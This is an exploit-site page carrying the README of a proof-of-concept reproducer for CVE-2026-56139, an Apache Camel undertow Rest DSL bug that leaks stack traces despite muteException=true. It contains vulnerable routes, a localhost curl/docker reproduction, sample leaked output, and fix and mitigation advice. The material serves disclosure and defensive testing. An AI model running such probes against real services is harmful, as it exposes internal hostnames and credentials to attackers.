Exploit for Generation of Error Message Containing Sensitive Information in Apache Camel CVE-2026-56139

## https://sploitus.com/exploit?id=1E2FC37F-F589-52EA-9963-663C6801EE45
# camel-undertow Rest DSL muteException Stack-Trace Disclosure Reproducer (CVE-2026-56139)

This project demonstrates an **information-disclosure** issue in Apache Camel's `camel-undertow` **Rest DSL**
consumer, tracked as **CVE-2026-56139**. The `muteException` option controls whether an uncaught processing
exception's detail is returned to the HTTP client. On a plain undertow endpoint the option works — but the
undertow **Rest DSL** creates its response binding with `muteException` **hard-coded to false** and never copies
the configured value, so `muteException` is **silently ignored in REST mode** and the full Java stack trace is
returned anyway:

```java
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
    endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming()));  // muteException stays false
}
```

Because the endpoint's `undertowHttpBinding` is now non-null, `UndertowEndpoint.getUndertowHttpBinding()` returns
that Rest binding as-is and never runs the branch that copies the endpoint's `muteException` onto it. So a route
that explicitly sets `muteException=true` still leaks stack traces when served through the Rest DSL — disclosing
internal backend hostnames, database URLs, credential/vault hints, library versions, and source locations.

This PoC demonstrates the impact as **information exposure through an error message (CWE-209)**. It is the
Rest-DSL-specific counterpart of CVE-2026-49365 (which corrected the `muteException` default for plain
camel-netty-http and camel-undertow endpoints); both were fixed together under CAMEL-23651.

Advisory: https://camel.apache.org/security/CVE-2026-56139.html

## Vulnerability Summary

| Property | Value |
|----------|-------|
| **Component** | `camel-undertow` (Rest DSL consumer) |
| **Affected Class** | `org.apache.camel.component.undertow.UndertowComponent` — creates `RestUndertowHttpBinding` without copying `muteException` (which therefore defaults false) |
| **CWE** | CWE-209 (Generation of Error Message Containing Sensitive Information) |
| **Impact** | Full Java stack trace returned to an unauthenticated client even when `muteException=true` is configured |
| **Preconditions** | An undertow Rest DSL consumer; any request that triggers a processing exception |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23651 (PR [apache/camel#23913](https://github.com/apache/camel/pull/23913)) |
| **Credit** | Yu Bao (PayPal) |

> The fix makes the Rest DSL path copy `endpoint.getMuteException()` into the `RestUndertowHttpBinding`, so the
> Rest DSL honours the setting (and the corrected default of `true`).

## The victim routes

```java
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom");            // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());

from("undertow:http://0.0.0.0:8889/plain/orders")         // plain endpoint — HONOURS muteException, empty body
    .process(new FailingProcessor());
```

## Repository layout

```
CVE-2026-56139/
├── pom.xml                 # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml      # single self-contained service
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── FailingProcessor.java   # throws an exception carrying sensitive internal detail
    │   ├── RestRoutes.java         # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
    │   └── ExploitController.java  # attacker: GETs both, shows Rest DSL leaks while plain is muted
    └── resources/
        └── application.properties  # camel.component.undertow.mute-exception=true
```

## Prerequisites

- Docker and Docker Compose
- Java 17+ and Maven 3.8+

## Reproduction Steps

```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```

### Expected output (abridged)

```
1) undertow Rest DSL :8888  (muteException=true, but the Rest binding hard-codes false)
     HTTP 500
     response body (NNNN bytes) — LEAKS internal detail:
       | java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
       |   jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
       | 	at com.example.FailingProcessor.process(FailingProcessor.java:...)
       | 	...[truncated]

2) plain undertow endpoint :8889  (same muteException=true — honoured)
     HTTP 500
     response body: 

>>> Information disclosure: true
```

## Recommended Fix

Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23651). After upgrading, the undertow Rest DSL honours
`muteException` (and defaults it to `true`), so the stack trace is not returned.

## Mitigation

Until upgrading, add an `onException(...).handled(true)` (or a global error handler) that returns a generic
message instead of the stack trace, and do not rely on `muteException` alone for undertow Rest DSL consumers.

## Disclaimer

This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.